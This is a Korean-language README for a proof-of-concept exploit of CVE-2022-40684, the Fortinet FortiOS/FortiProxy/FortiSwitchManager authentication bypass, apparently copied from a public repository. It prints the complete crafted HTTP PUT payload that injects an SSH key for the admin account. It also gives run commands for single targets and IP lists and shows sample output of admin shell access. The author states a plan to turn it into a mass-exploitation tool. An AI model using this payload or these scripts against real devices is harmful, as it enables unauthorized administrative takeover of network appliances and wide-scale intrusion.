
Fortinet FortiOS, FortiProxy, FortiSwitchManager의 CVE-2022-40684 인증 우회에 대한 개념 증명 익스플로잇입니다. 조작된 HTTP PUT 요청을 통해 SSH 키를 주입하여 관리자 접근을 획득합니다.
지금은 Fortinet FortiOS, FortiProxy 및 FortiSwitchManager 어플라이언스에 영향을 미치는 CVE-2022-40684의 POC 복사본입니다.
https://github.com/horizon3ai/CVE-2022-40684 에서 복사했습니다.
이 익스플로잇은 간단한 페이로드를 사용합니다:
PUT /api/v2/cmdb/system/admin/admin HTTP/1.1
Host: {{Hostname}}
User-Agent: Report Runner
Content-Type: application/json
Forwarded: for=[127.0.0.1]:8000;by=[127.0.0.1]:9000;
Content-Length: 610
{
"ssh-public-key1": "fake-key"
}
이 POC는 인증 우회 취약점을 악용하여 지정된 사용자의 SSH 키를 설정합니다.
다중 대상 및 다중 서버를 위한 본격적인 익스플로잇으로 개발하여 대규모 익스플로잇에 사용할 계획입니다.
1. chmod +x cve-2022-40684.sh
2. ./cve-2022-40684 <TARGET_IP>
or
2. ./cve-2022-40684 <FILE_NAME>
예시:
./cve-2022-40684.sh ips.txt
python3 CVE-2022-40684.py -t <TARGET_IP> --username admin --key-file ~/.ssh/id_rsa.pub
예시:
root@kali:~# python3 CVE-2022-40684.py -t 10.0.40.67 --username admin --key-file ~/.ssh/id_rsa.pub
[+] SSH key for admin added successfully!
root@kali:~# ssh [email protected]
fortios_7_2_1 #
config Configure object.
get Get dynamic and system information.
show Show configuration.
diagnose Diagnose facility.
execute Execute static commands.
alias Execute alias commands.
exit Exit the CLI.